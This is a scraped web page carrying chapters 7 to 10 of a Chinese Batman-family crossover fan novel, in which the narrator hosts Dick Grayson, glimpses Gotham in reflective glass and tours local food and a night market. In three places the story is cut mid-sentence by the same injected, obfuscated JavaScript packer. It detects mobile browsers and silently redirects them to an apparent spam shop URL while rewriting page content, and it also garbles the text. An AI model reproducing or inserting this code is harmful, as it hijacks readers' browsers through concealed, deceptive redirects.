《[综英美]我家来了只迪基鸟》 7. 007 早点铺里此刻人并不算多,这个时间上班族已经陆续挤进了地铁,而不上班的人大概率不用出来买早点。 我熟门熟路地推门进去,迪克跟在我身后无声地打量着四周。 “老板,来份牛肉粉,还是老样子。” 店里的老板是个四十出头的中年女人,她从柜台后面抬起头,在看清是我之后脸上立刻变换了笑容,热情地把一瓶温在水锅里的娃哈哈递给了我。 “是媛媛啊,今天怎么这么早就来我这儿吃饭?” 我应了一声,给老板介绍了我旁边盯着头顶上的菜单看的迪克,“这不是有国外的朋友来吗,就带他来感受一下中国的早餐。” “哎哟,那可得多吃点好吃的,咱们国家别的不说,说到吃那必须是第一名,小伙子是哪个国家来的啊,长得真俊俏。” “美国来的,到我们这里旅游来了。” “美国啊,那确实得多尝尝好吃的。” 老板一脸确实如此的表情,手上动作麻利地将一把已经泡好的米粉扔进沸水里煮。 我转过头看向迪克。 “这里有牛肉粉,羊肉粉,苕粉,红薯粉,麻辣粉,还有一些面条,如果吃不惯的话还有豆浆和粥卖,你想吃什么?” 迪克指了指其中一个图片,“这是什么粉?” 我看了一眼,“空心粉。” 迪克拍板决定,“就要这个,少放点辣椒。” “葱花香菜吃不吃?” 迪克点头。 “老板,再来一碗空心粉少放辣。” “好嘞,你们先进去坐着吧,一会就好,那边小料台自己看着放哈。” 店面并不算大,里面只有十来套桌椅板凳,我随手拉开一个比较靠近墙壁的椅子,从桌子上的筷子筒里抽出四根一次性竹筷。 “你的人缘真好,安。” 迪克坐在我的对面,接过我递给他的筷子,在空气中比划了两下,“就像昨天的那位夫人,还有今天的这位老板,她们都可以亲近地叫你的昵称。” 这很正常,毕竟我就是如此人见人爱清纯不做作的大美女。 我理所当然地撩了撩头发,“因为我很招人喜欢,嘴甜还会来事,会跟所有人都打好关系。” 这原本只是我自夸的语句,迪克听了居然真的点点头,赞同的说:“安真的很会照顾人,很细心,我是说,安是一个能给人带来安全感的人。” 我轻咳了一声,“就算你夸我我也不会再让你进我的厨房的,休想。” 迪克脸上的表情看起来有点像是刚从水里被救出来的湿漉漉的小狗。 我心如磐石,就算是美人计也不行。 我把娃哈哈放在桌子上,用吸管戳开。 好喝,虽然幼稚,但我就是喜欢喝这一口奶味小饮料。 迪克也获得了属于自己的娃哈哈,他看着上面的小狗图案,很快就被里面的甜味俘获了。 哼哼,离不开糖的阿美莉卡人。 我们点的牛肉粉和空心粉很快就做好端了上来,迪克兴致勃勃地拿筷子去戳碗里一节一节的空心粉,小心地戳起来一根放进嘴里。 他的眼睛亮了。 “好吃!” 而我已经把头埋下去热火朝天的吃开了。 牛肉粉的味道超级棒,劲道弹牙,里面的牛肉块肉质软烂入味,麻辣鲜香,一口下去满嘴都是肉香和米香。 我们两个人都没有机会说话了,迪克甚至以一种恐怖的速度学会了使用筷子去夹空心粉,他那份里加了很少的辣椒油,但e省的辣椒油普遍都偏辣,我很快就看到迪克的眼眶被辣红了。 我默默递给他餐巾纸。 一份汤粉的量并不算多,就算是普通胃口的我也能很快吃完。 我率先离席去结了账,回来就看到迪克正抱着娃哈哈流眼泪。 “太辣了。” 我看着他湿漉漉的眼睛,花了一两秒钟去思考他究竟是在说辣椒还是在说他自己。 “嗯,是很辣。” 我漫不经心地把小票塞进兜里,“走吧,我们还有地方要去。” 迪克并没有多问什么,他终于把眼泪给擦干净,只是眼眶仍旧是红的,我之前从来不知道白人的脸这么容易显红,但现在知道了。 “这里的基础设施做的真好。” 他跟在我身侧,一起漫步在街头,目光逡巡在路边的建筑物和道路之间,思索着什么。 “当然,我家这一片都是这几年新修的路,那边靠近商业区还盖了一个新的综合小区,配套的就有两个幼儿园一个小学一个初中,这几年那边热闹得很,好多年轻人都在那买房。” 我给迪克指了指我家小区相邻不到一百米的那片建筑群,高楼大厦林立,隐约可见地标性建筑楼顶灯牌的反光。 “一到晚上那边就会非常热闹,还是个旅游景点,有好多外地人来那里购物。” 我和我闺蜜在休假的时候也会去那里逛街买东西,为了吸引客户,那边的商业街总会换季出品各种新鲜玩意,贵是贵了点,但逛逛又不花钱。 说到这里,我又想到迪克来这里也不知道要待多久,“如果你想的话,今天晚上咱们可以一起去那里逛逛,那边外国人也挺多的。” “如果你不介意的话。”迪克收回目光,“我乐意之至。” 这样走着,总算是溜达到了目的地,手机营业厅。 “来吧,我给你办一张手机卡。”我说着,就想要去推开营业厅的玻璃门。 一只指节略宽手指修长的手轻轻握住了我的小臂。 我去推门的力气立刻就被这只手给卸掉,将我的手臂推了回去。 顺着这只手看过去,迪克原本还面带微笑的神情已经褪去,他那双纯度极高的蓝眼睛在逆光的情况下染上了一层阴翳。 “嘘。” 他说。 他靠近我,我感受到他轻微起伏的胸膛慢慢贴上我的后背,夏天衣服布料轻薄,那滚烫的热度就顺着相贴的地方传递到我的身上。 然而我和迪克此时都没能将注意力落到过于接近的肢体接触上,只因为我已经顺着迪克的动作看了过去,看到了极为惊悚的一幕。 我发出轻微的抽气声。 此时的玻璃门上,倒映着我与迪克模糊的影子,透过我们两个的影子,隐约看到了一片陌生的城市景象。 高大的摩天大楼鳞次栉比,最靠近市中心的地标性建筑上挂着Wayne的字牌,狰狞恐怖的水滴石兽张开蝠翼,俯瞰着下方灯火阑珊的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998810|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筑群,不详的暗影笼罩在这座城市的上空,蝙蝠灯在云层中亮起,勾勒出一只巨大的蝙蝠翱翔天际。 哪怕作为一个从未见过这个城市的我,也不禁在心中浮现出了这个城市的名字。 哥谭。 那不是任何一种漫画,影视剧,或是其他的什么通过二次加工创作形成的城市,那就是真实的,黑暗的,展现在我面前的一座真正的哥谭。 我注视着那个由蝙蝠灯照射出来的巨大蝙蝠,最先感受到的并不是恐惧和陌生,而是一种油然而生的欣喜。 “那是哥谭。” 迪克的声音前所未有的低沉,他的目光飞快扫视着看到的景象,然后似乎是看出了什么似的,双手搭住了我的肩膀。 “等等,你不要动,好,就是这个位置。” 我的肩膀被牢牢扣住,紧接着,他俯下身来,温热的呼吸擦过我的耳廓,我感觉到他的黑发与我的头发夹杂在一起,于是我立刻意识到了迪克究竟在看什么。 视野。 不,不如说是我所在这个倒影哥谭里的位置。 这并不是我看到的景象,而是另一个与我所在位置重叠的人,在另一个时空看到的景象。 牠在注视着哥谭。 迪克站直了身体,我知道他已经得出了结果,连忙回过头去看向他。 “你看出那是谁了?” “蝙蝠侠知道这件事了,对吗?” 迪克没有说话。 这种时刻,我才突然从对方的身上察觉到那种不属于普通人气势,一个从十二岁出道开始,就不断地在危险的界限上不断徘徊的义警,那种特质冷硬又尖锐,它被铸造成为英雄身上最坚实的盔甲,任谁都无法轻易撬开那层冰冷的壳。 沉默是最温和的回应。 我张开嘴又很快闭合,在意识到他并不准备把具体发生的事情告诉我之后,选择了闭上我的嘴巴。 真不愧是蝙蝠系义警,遇到正经事就不长嘴,非得别人猜,要么就是打一架再聊,真是布鲁西宝贝儿开的好头。 阴阳怪气.jpg “反光玻璃。”迪克出乎意料的开口了。 我怔了一下。 “走,回去。” 他拉着我的手就往回跑。 我被拽着向前跑去,因为腿没他的长跑的有点磕磕绊绊,万幸因为我经常锻炼算是能勉强跟上。 反光玻璃,反光玻璃...... 所以,我们之所以能看到另一个世界里的哥谭,是因为玻璃的反光? 迪克能看见是因为他本就是那个世界的人。 那我呢? 我的视线移向迪克奔跑时飞扬起来的发梢,心脏也随着一蹦一跳。 从迪克出现在我家的那一刻起我就拒绝去认真思考一件事情。 他为什么会出现在我家,触发这个的条件是否在我的身上,我是否突然觉醒了某种超能力,能够打开两个世界的通道将那边的人传送过来。 我又是因为什么原因能够看到另一个世界? 与我视角重叠,站在哥谭的高处俯瞰整个城市的那个存在,究竟跟我有什么关系? 我紧紧回握住迪克的手。 将我内心再次涌现出的情绪压回了心底。 8. 008 我家卫生间是特意做的干湿分离,淋浴间被一面较大的玻璃隔离开,外面安置着台盆和马桶。 迪克用一块布蒙住了淋浴间外侧的玻璃,然后只打开了淋浴间内的灯。 我们两个人就这样缩在有些狭小的空间里,再次透过倒映的影子看到了哥谭的景象。 只不过这一次,出现在影子里的是GCPD的大门,街道上车水马龙,视角的主人就站在警局的对面凝视着人来人往的警局门口,随着视角的转动,就像是八倍镜聚焦一样,锁定在了某个人的身上。 詹姆斯·戈登,现任GCPD局长,同样也是蝙蝠侠的联络人,神谕/蝙蝠女芭芭拉·戈登的父亲。 他看起来长得像是直接从漫画里走出来一样,红棕色的一字胡看起来又严肃又正经,眉心是常年皱起刻出的深痕,他形色匆匆,拿着一卷报纸就走进了警局。 视线随之移开,玻璃上的倒影又恢复成了我和迪克的。 我疑惑:“这个人是在观察什么?” “牠是在向你透露信息,安。” 迪克双臂环胸,缓慢地吐出自己的结论。 “牠想告诉你,我之所以会穿越到这个世界,是因为你的能力,你才是这个世界的锚点。” 他的目光直直地看过来,与我对视,眼睛里终于直白分明地暴露出他的担忧,“安,你没有感觉到什么吗,你身体里的力量就像是一个沙漏,沙子从这边落向那边,但谁也不知道沙漏里的沙子究竟还剩多少。” 或许出现通过玻璃反射两个世界的景象,这样的现象就是沙子所剩无几的先兆。 而沙子漏光的后果是什么呢? 谁也不得而知。 “而且我们现在并不清楚这样的景象究竟是单方面的,还是牠也可以通过你的眼睛看到这个世界。”迪克说,“听着,安,就算你很熟悉漫画剧情,你也无法想象一个想要作乱的潜藏犯究竟会对你的世界有着怎么样的破坏欲。” 这个世界并不完美,在这个国家之外还存在着很多战争,不公与霸权,但没有超能力的世界已经足够和平,不用每日担心外星人的突然入侵,超级罪犯脑子灵光一现就整个大活,死亡如影随形,义警们疲惫地穿梭在灾难里,用血肉之躯顶起脆弱的天空。 这个世界足够美好,美好到让别有用心之人想要将其撕碎。 我后知后觉的感觉到背脊发凉。 “好吧。”我嘟囔着。 “事已至此,我们可以做些什么?” 迪克沉默了。 我们两个你看看我我看看你,面面相觑。 我:“?” 我大惊失色:“你不会告诉我你也不知道该怎么办吧!?” 怎么回事,你不是蝙蝠侠的好大儿吗,你不是应该跟他一样拥有planabcde吗? 37号特工救一下啊!布鲁德海文义警救一下啊!泰坦小队长救一下啊! 我欲言又止。 迪克轻轻叹了口气,率先推开淋浴间的玻璃门走了出去,将盖在玻璃上的布取下来,叠好放到一旁的架子上。 “我大概有了一些思路了,安,不过我可能会需要一些时间来做准备。” “在此之前,如果你的身体出现了任何反常的不适感,及时跟我说,好吗?” “......比如?” 我有点拿不准反常的不适感是什么意思,偏头痛,腰肌劳损,颈椎钝痛,腱鞘炎,这些我都有,属于画师自由支配时间的一些小小代价。 “比如感到心悸,过渡疲劳,犯困,提不起精神之类,或者是突然产生极端想法,类似杀人放火之类的暴力倾向。” 迪克给我列举了几个例子,但听起来却总有一种既视感。 我恍然大悟。 这不就是我临近ddl赶稿被编辑夺命连环催的那个夜晚会出现的全部症状吗! 画不出来——崩溃,大哭大闹,满地打滚,疲惫,精神振奋——还是画不出来——犯困但强打精神,然后开始阴暗爬行准备暗戳戳刀掉编辑,这样就可以清爽的丢掉画稿开始阳光健走,发现这样不行,猛灌几大杯黑咖啡——继续画稿直至第二天看到太阳升起,浑身的怨气可以养十个邪剑仙。 破案了,原来反派竟是我自己。 我满脸严肃地点点头,表示自己知道了。 嗯,这个月的ddl还没有到,我暂时不会出现一些赶稿人的异常行为。 我看了一眼时间,现在还不到九点,本来要给迪克办一张电话卡的,现在也没有办成,但我现在已经懒得出门了,干脆在手机里买了一张卡,直接闪送到家算了。 迪克见我点头,也就没有再说些什么,他有点心事重重地跟我打了声招呼,就抱着电脑缩在沙发上敲起了键盘。 他的电脑技术在家族里并不算最好的,很多时候都需要偷偷回到蝙蝠洞借助高算量的蝙蝠电脑来完成一些数据上的工作,偶尔还会求助好心的小红,只不过小红太忙了,每天抱着咖啡杯一副快要猝死的模样,迪克自然不忍心再麻烦他。 虽然技术不是顶尖,但总归是够用的。 DC世界里的科技水平远超这个世界,如果说这个世界的科技刚刚萌芽,只能在大型操作台上按下信号发射器接收到“不要回答”,那么DC里的科技已经在宇宙站稳了脚跟,可以直接跟宇宙人硬碰硬而不落下风。 所以对于迪克来说,一个普通配置的笔记本电脑仅仅只能做一些最基础的东西。 他在征求了我的同意之后,手脚麻利地改装了那台笔记本,更新换代之后,做成了一个有着笔记本外壳的宇宙信号传输器。 我看着他的操作,忍不住在脑袋上打出一个大大的问号。 不是,您所说的不擅长,是指随手搓出一个宇宙信号传输器吗? 啊? 我望而生畏地坐远了一些,半靠在墙角的懒人沙发上拿着手机给我的父母发消息。 因为已经放暑假的缘故,我爸妈都已经包袱款款一块跑去游山玩水了,现在也不知道在国内的哪个青山绿水边上感受大自然呢,信号非常的不好,往往是我发一条消息需要等好久才能得到恢复。 我上一条消息还是前天回复我妈问我需要带什么特产回来,我让她帮我多带几个明信片和特色小挂件,顺便给我闺蜜也捎上几个。 然后我妈就已读不回了。 看着之前的聊天记录,我试探性地问他们玩到哪了,结果这一次我妈居然秒回。 “我们现在在火山口。” “乖宝,你想不想要火山岩?我给你挑了几块形状最好看的,另外我买了点特产,现在应该已经在路上了,你跟小燕都有,你记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998811|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得提醒小燕签收噢。” “我跟你爸这两天过得可太充实了,我们这里昨天还下了一场流星雨,还看到了海市蜃楼,你爸还跟我说这荒郊野岭的居然能看到形状是人类城市的海市蜃楼也算是奇景,乖宝你没能看到真是太可惜了。” 没关系,海市蜃楼在我这里已经是小卡拉米了,毕竟我已经突破次元看到了真正的“海市蜃楼”。 如今的我,已经不再是以前的我! 我非常淡定的给我妈发的朋友圈点了个赞,然后回复她的消息。 “你们好好玩,火山岩我要大个的,带回来我要做成摆件。” “得嘞,记得给我朋友圈点赞!” 我妈秒回。 我满意地放下手机,伸了个懒腰。 再抬起头的时候,就看见迪克正撑住脑袋笑吟吟地看着我。 我:“?” “你做好调试了?” “当然,你的笔记本帮了我大忙了,安。” 迪克说着,对我眨了眨眼。 “想看看我的成果吗?” 虽然是在发出问句,手里却已经将电脑转了过来,正对着我,屏幕上的数据流密密麻麻,已经完全被改造成我看不懂的模样了。 我有点好奇这些黑科技的构造,他们究竟是怎样化腐朽为神奇用普普通通的电脑搞出高大上的操作的。 迪克非常善解人意地用最基础的手法给我展示了一番操作流程。 然后他的指尖就像是跳踢踏舞一样在键盘上来回跳跃敲击,敲出一连串让我感到头晕眼花的代码,最后点击回车。 我看着屏幕里仍旧眼花缭乱的数据流,感觉无事发生。 “这就完了?” “这就完了。” 迪克给予了我肯定的答复。 “昨天晚上我用这个电脑制作了一个基础的坐标,然后今天在坐标的位置上建立起一个信号塔,通过这个小东西——” 迪克拿出一个U盘,U盘的另一端挂着我送给他的罗宾鸟挂坠。 “通过这个,可以随时随地发射信号,钢骨会在我的世界尝试扫描和收集这些来自其他时空的信号。” 这样一来,一旦钢骨成功收集到迪克发出的信号,就可以召集正联来想办法把他捞回去。 可是这其中有一点最关键的问题。 “你怎么能确保这个信号可以传回你的世界呢?” 我举起手,像个好学的学生一样提出我的疑问。 “毕竟现在的情况,怎么看都是你打破了次元壁来到了我的维度,我的世界也并不是52地球里的任何一个,无法保证我的宇宙就是你的宇宙啊。” 迪克认真地与我对视。 “安,当我出现在你的世界那一刻,我们的维度就彻底连接在一起了。” 这种连接是永久性的,就像是破了洞的木桶,水从被扎穿的洞口流出去,就算用什么方法补上,但仍旧有一个洞留在那。 两个宇宙的河流彼此交错,融合,水溶于水,除非用滚烫的烈焰将两条河流灼烧殆尽,否则那条连接就会一直存在。 我呆呆地点点头,表示自己了解了。 可是此刻我的大脑里却不合时宜地迅速被一个抽象的想法占据了。 搞笑来的吧,纠结半天,最后纸片人竟是我自己? 9. 009 次元壁不存在了。 次元大神真的不来修一下吗? 我平静地点点头,决定从此接受自己成为一个纸片人的事实。 如果生活给了你当头一棒,而你无法反抗的话,那就努力让自己变得Q弹爽滑吧。 就算是当肉丸,我也要当最劲道的那个! “好吧,那现在我们就是安心等着钢骨来捞你,然后再去找那个人解决掉我身上这个穿梭位面的能力?” 我摩挲着下巴,居然奇异的觉得安定下来了。 不管怎么说,一时半会还出不了什么事情,至少有迪克在我身边,安全问题应该是能够保障的。 接下来也没有别的事情要干,我看了一眼消息,因为前几天才刚刚交过一次稿件的缘故,差不多一个星期之内我都不用考虑工作方面的事情,现在也没什么事情要干。 于是我决定:“事已至此,那就先来帮我个忙吧!” “好啊,需要我做什么呢?” 迪克自然没有拒绝的道理,满口答应下来。 我嘿嘿一笑,不好意思地苍蝇搓手。 “来给我当模特吧。” 迪克:“?” 模,模特? 众所周知,美漫最大的特点就是型男靓女的超绝身材和肌肉线条,最具特色的西式雕塑画风,让所有角色都看起来活人感十足。 而作为一个已经被美漫审美腌入味的我,画风也是偏向写实风格,格外喜欢画英俊型男。 现在恰好就有一个现成的模特站在我面前,我怎么能不感到心痒难耐。 “往右边一点,对,手再抬高一点,好就是这个姿势不要动!” 我拿着笔在速写本上刷刷画了几笔,眼睛直冒光。 迪克脸上的笑容看起来有点勉强,但还是顺从地摆出一个比较考验柔韧性的姿势。 “这样......?” “模特请不要说话。” 我冷酷地打断了迪克欲言又止的话语,如获至宝地在速写纸上勾勒出人物的轮廓,这肌肉走向,这线条弧度,如果当年我速写课的模特有迪克一半的肌肉量,我绝对能拿更高的分数! 看看这肌肉绷紧时的爆发力和张力! 我已经完全沉醉在美好的艺术里了。 速写的用时并不算长,大概一个小时的时间,我已经飞快的让迪克摆了四五个造型,出了十张速写稿。 这都是可以留存下来的参考图。 幸福的泪水从嘴里流了出来。 我将这些速写稿都收集好,存放在我的画夹里,就突然感觉到头顶附上一层阴影。 我拿着画的手一抖,夹子差点掉在地上,抬起头望向制造阴影的人。 “画的真好。” 如此近距离的状态下,我几乎能看到迪克脸上细小的绒毛,他贴的很近,垂着眼帘去看我画的那些画,压根不觉得两个人凑这么近是否有点冒犯到正常的社交距离。 难道这就是西方人的边界感吗? 好吧,看在迪克老老实实给我当模特的份上,溺爱一下。 我整理好那些手稿,空出一只手拍拍迪克的肩膀,豪情四射地大方道:“中午想吃什么?我给你做好吃的!” “安,你又要亲自下厨吗?或许我可以帮你。”迪克跃跃欲试。 “不行。”我瞬间冷漠,“你休想再进我的厨房,no way.” “......或许我可以帮你洗菜。” “这个可以有。” 我迅速地动摇了。 于是我指挥着迪克去帮我洗菜择菜剁肉馅。 “今天中午吃砂锅汆丸子,醋溜土豆丝还有炸蘑菇。” 我给迪克报了一遍菜名,在确认他没有什么奇奇怪怪我所不知道的白人过敏源之后,这才放心地定下了菜单。 汆丸子的肉馅需要手动剁肉,这样弄出来的肉比绞肉机搞出来的要劲道一些,以往我都要剁到麒麟臂发酸,现在正好有个能使一把子力气的好小伙帮忙,我也乐得轻松。 等到吃完了饭,我下单的电话卡也被闪送了过来。 为了方便迪克之后自己出门,我把我的备用手机借给了他,说是备用手机,其实是我专门买来玩游戏的手机,里面存了很多我比较常玩的移动端游戏,里面并没有什么隐私的东西,装了电话卡就可以正常使用。 “功能还是挺全的,也不知道跟蝙蝠手机比起来怎么样。” 我有点遗憾地畅想了一下蝙蝠手机的性能,用来打游戏肯定不会卡顿,说不定还能玩一些比较吃显卡的游戏。 迪克把玩了一会,然后将一个二维码递到我面前。 “我可以加你的微信了,安。” 他露出一个笑容,“下午我们还可以去那个商业街吗?我很想多看看你的世界。” “当然可以。”我拿手机扫了一下二维码,把迪克的备注改成了中文“迪基鸟”。 “这是安的昵称吗?看起来很长,头像是布鲁斯,安真的很喜欢布鲁斯啊。”迪克给我看了一眼已经通过好友的界面,上面我的微信名“今天睡到布鲁斯了吗”赫然在目。 我深吸一口气。 我开始绝望的思考上天为啥要这么惩罚一个可怜的蝙蝠侠厨子,在我已经丢过一轮脸之后还要转着圈的丢脸。 “你等一下。” 我用平生最快的手速把名字改掉,然后露出一个略显疲惫的笑容。 “是的,我确实很喜欢布鲁斯,试问谁会不喜欢蝙蝠侠呢?” 迪克若有所思地看着我的新微信名,闻言有些失落地指了指自己,“难道你不喜欢夜翼吗?” 我:“......” 我一开始看漫画的时候也妹人告诉我以后会遇到这种修罗场啊? “蝙蝠家族的所有成员我都喜欢。”我顿了顿,最后还是倔强地加了一句。 “不过我还是最喜欢布鲁斯。” 端水,什么端水。 这是我作为蝙蝠侠激推的最后尊严! “没关系。”迪克故作坚强地捂住胸口,“我可以接受,毕竟布鲁斯确实很讨人喜欢。” 我盯着他,总觉得最后那几个单词被他说的咬牙切齿的。 目移,吹口哨.jpg 大约下午四点左右,我们两个又出了门。 这一次就没那么好运了,我们几乎是一下楼就在单元门口碰到了遛弯回来的一楼住户王大爷。 “哟,媛媛啊,今天怎么这么早出来运动啊?” 王大爷的视线顺着我划过迪克,有些惊讶。 “怎么还带着个外国人,长得真俊,是你对象吗?” 王大爷这话是中文说的,迪克没有听懂,只好面带微笑发出一个“?” 我听懂了,“不不不您想哪去了,他是来中国留学的学生,他亲戚是我同学,所以我现在暂时收留他,咋可能是我对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998812|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 王大爷瞅着我,又眯起眼睛瞅着迪克,啧啧摇头,背着手跟我道别走进了楼道里。 我:“......他这是什么意思。” 行吧,笑一下蒜了。 强颜欢笑.jpg “什么?”迪克没有听清。 他对中文的理解力仅限于一些比较日常的词汇,刚刚王老头的话他并没有听懂,所以在察觉到我神色有异之后出声询问。 我没说我在这个小区的老年圈里大概率会变成“那个跟外国小子谈恋爱的姑娘”,平静地给迪克解释王大爷刚刚在问我早上吃了没,我说中午饭已经吃过了现在准备去吃晚饭。 迪克:“......” 你们中国人在吃饭的执着这一块,指定有点说法。 “走吧,从这里到商业街要走十几分钟呢。”我将有些散乱的鬓发掖到耳后,虽然已经到了下午,但仍旧有些闷热,不过这会有些风吹过来,倒是缓解了不少燥意。 我们重新踏上了早上走的那条路,这回路上的人变多了,小区内车流来来往往,因为已经放暑假的缘故,小孩子们已经在空地上玩开了,清脆的童音像是一天二十四小时都停歇不下来的小喇叭,吵的人耳朵发麻。 路上有不少老头老太太跟我打招呼,都是住在我这个单元附近的老人,我一一回应,迪克就跟在我身后,听到不懂的句子就回以一个茫然的微笑。 我解释性的话语也已经从“亲戚的同学”变成了“亲戚”。 “是我远房亲戚。”我麻木的重复。 “对的对的,原本在美国上学,现在到国内来读研,吃饭?好啊,等我有空了就去孙爷爷您家吃饭,您可别嫌弃我。” “是的是的,年纪比我小呢,只是看起来成熟,唉吴奶奶真不用给我这个,我家种着小葱呢,多的吃不完,改天还要请您尝尝我做的葱油面。” “没错没错,是高材生,很聪明一孩子,噢小云放假啦,李奶奶你家小云越长越漂亮了,跟您长得真像!” “哎呀,您说他的身板吗?” 我慈祥地拍拍迪克的肩膀,对着隔壁单元的赵阿姨像是展示商品一样展示迪克发达的肌肉,“很爱锻炼的大小伙,长得壮实吃饭也实在。” 我又弯下腰揉揉小朋友毛茸茸的脑袋,笑眯眯:“小云也要好好吃饭哦~” 就这样一路过五关斩六将地走出了小区门。 迪克从一开始听不懂但微笑,已经变成了听不懂也微笑不出来。 他已经对我在老人里的人缘感到震撼了。 “安......真的好受欢迎啊。” 我轻轻呼出一口气,感觉口干舌燥。 听到迪克发出的感叹,我不怎么在意地摆手。 “这有什么,基操勿六。” “我以为你会更喜欢跟朋友待在一起?” “我当然会。”我说。 “只不过比起同龄人,我更喜欢跟老人家在一起聊天罢了。” 迪克侧过脸看着我,蓝眼睛里是我的倒影,他比我高半个头,所以我能轻易地看清他眼睛里的情绪。 “你或许会和阿福成为很好的朋友,他会很喜欢你的,安。” 迪克说。 阿尔弗雷德吗? 如果可以的话,我确实很想近距离地接触这位传奇管家侠。 “如果有机会的话。” 我笑了笑,避开了他的注视。 10. 010 我和迪克到达商业街的时候,太阳已经开始向着西处的天际垂落,这让整个天空都渲染上了一层朦胧的薄光,浅浅的紫色与晦暗的蓝交织,像是倒映的薰衣草花田。 这个时间,商业街的行人并不算多,真正要热闹起来,还要再过几个小时,等到夜幕低垂华灯初上的时候,街边出现大大小小的摊位,烟火气逐渐笼罩这片区域,游客就会大批量地涌入这里。 游客中来往的外国人非常多,所以我和迪克在其中也不会过于突兀。 虽然说是带迪克来商业街给他感受一下国内的安逸氛围,但是甫一踏入商业街的范围,我的眼睛就已经彻底被今天的布置吸引了所有的目光。 怎么回事,今天难道是什么特殊节日吗?为什么打扮的这么热闹! 我拿出手机紧急搜索了一番,最后才知道这里正在举办三日夜市的活动,今天正好是最后一天。 作为本地人的我羞愧不已。 距离这么近,我居然不知道这里已经开了两天的活动了。 中国人有句抗拒不了的话,来都来了。 “今天这里举办夜市,会很热闹。” 我凑到迪克旁边,给他看我手机里搜索到的活动内容,兴奋地指了指某些项目:“今天还会有打铁花表演,以往这个活动都是在冬天才有的,我们真的太幸运了!” “打铁花,那是什么?”迪克像是被我的笑容感染了,也颇感兴趣的凑过来看我手机屏幕。 “是一种我们国家发明的特殊道具表演,我也不太清楚是怎么弄的,到时候你看就知道啦,相当漂亮!”我忍不住卖弄了一下我肚子里的墨水:“东风夜放花千树,更吹落,星如雨。虽然说的是元宵节,但是很适配这个表演哦!” “走吧,我先带你去尝尝好吃的。” 遇到这种一年也见不到几次的热闹活动,我心里的玩心也被彻底激发出来了,扯住迪克就向停着小吃摊的方向大步走去。 迪克任由我带着他走,目光在四周的仿古建筑上逡巡,眼底流露出惊叹的神色。 “你经常来这里吗?” “有时候会来看看有什么新奇玩意,其他时候都是去其他的平价商场买东西。”我忍不住跟迪克吐槽这里的东西贵的多离谱,完全是在宰外地人。 “一个小小的纪念品要卖平时的三倍价格。”我比划了一下那个小玩意的大小,发出了被宰过之后的控诉声:“他原本可以直接抢走我的钱,但还是善良的愿意给我一个纪念品!” “哈,景点的东西就是会这样昂贵,包括哥谭也是。”迪克感同身受地跟我吐槽:“自从韦恩出资修缮了哥谭游乐园,那里的门票钱就贵了一倍,里面的冰淇淋从原来的两刀变成了四刀,四刀一个冰淇淋!” 上一次迪克被弟妹们坑着请客去游乐园玩,结果惊讶的发现除去游乐园大变样之外,里面的物价也天翻地覆。 “就算是当初我还在马戏团的时候,门票也才两美金一张。” 我忍不住笑了,话题逐渐从物价转移到他身上,“布鲁斯没有给你们成立家族信托吗?据我所知,富豪们都会给家族子弟成立信托基金。” 迪克尴尬的咳嗽了一声。 我看着他,他移开目光,心虚地挠了挠头,头顶的黑发翘了起来,像是呆毛。 “......自从我跟布鲁斯闹别扭离开哥谭之后,我就没有用过那笔钱了,毕竟如果动用那些钱的话,我离家出走的反抗就完全没有了效果。” “最开始是有点困难,布鲁德海文是一个沿海城市,经济很萧条,远没有哥谭那么繁华,我那时候半工半读,倒也没有完全跟布鲁斯置气,只是为了考虑我的未来和独立生活的能力。” 迪克耸了耸肩,“我总不能一辈子都要靠布鲁斯养我。” 漫画仅仅只是漫画,无法细致全面的展示一个人的人生。 在我不知道的角落里,那些人物极为平常的小事件,如何生活,做出了怎样的抉择和努力,我都一无所知。 听到迪克这样说,我放慢了脚步,忍不住想要听他说更多。 “后来我决定去当一个警察,那时候布鲁斯的身边已经有了杰森,他代替了我的位置,成为了新的罗宾,我就更不想回去了。” 说起那一段回忆,迪克的神色变得复杂起来,我知道那复杂的神色里包含着什么,我也知道那段时间究竟发生了什么。 所以我决定结束这个逐渐走向沉重的话题。 “你想不想吃面窝?前面有一个摊子卖的面窝很好吃,你一定得尝尝!” 香气四溢的炸面窝新鲜出锅,里面放了些葱花,香的让人一闻到就流口水。 热气在这个灼热的傍晚蒸腾,我和迪克一人捧着一个面窝窝坐在摊位旁边的小马扎上开始啃。 虽然我对面窝的味道已经很熟悉了,但是每次吃都还是很喜欢面窝里香葱的味道,油炸的东西总能给人一种脂肪上的满足感。 金黄酥脆的外壳包裹着里面软软的面馅,一口咬下去油脂与香气迸发,再配上一碗香甜可口的甜豆腐脑,好吃到让人眯眼睛。 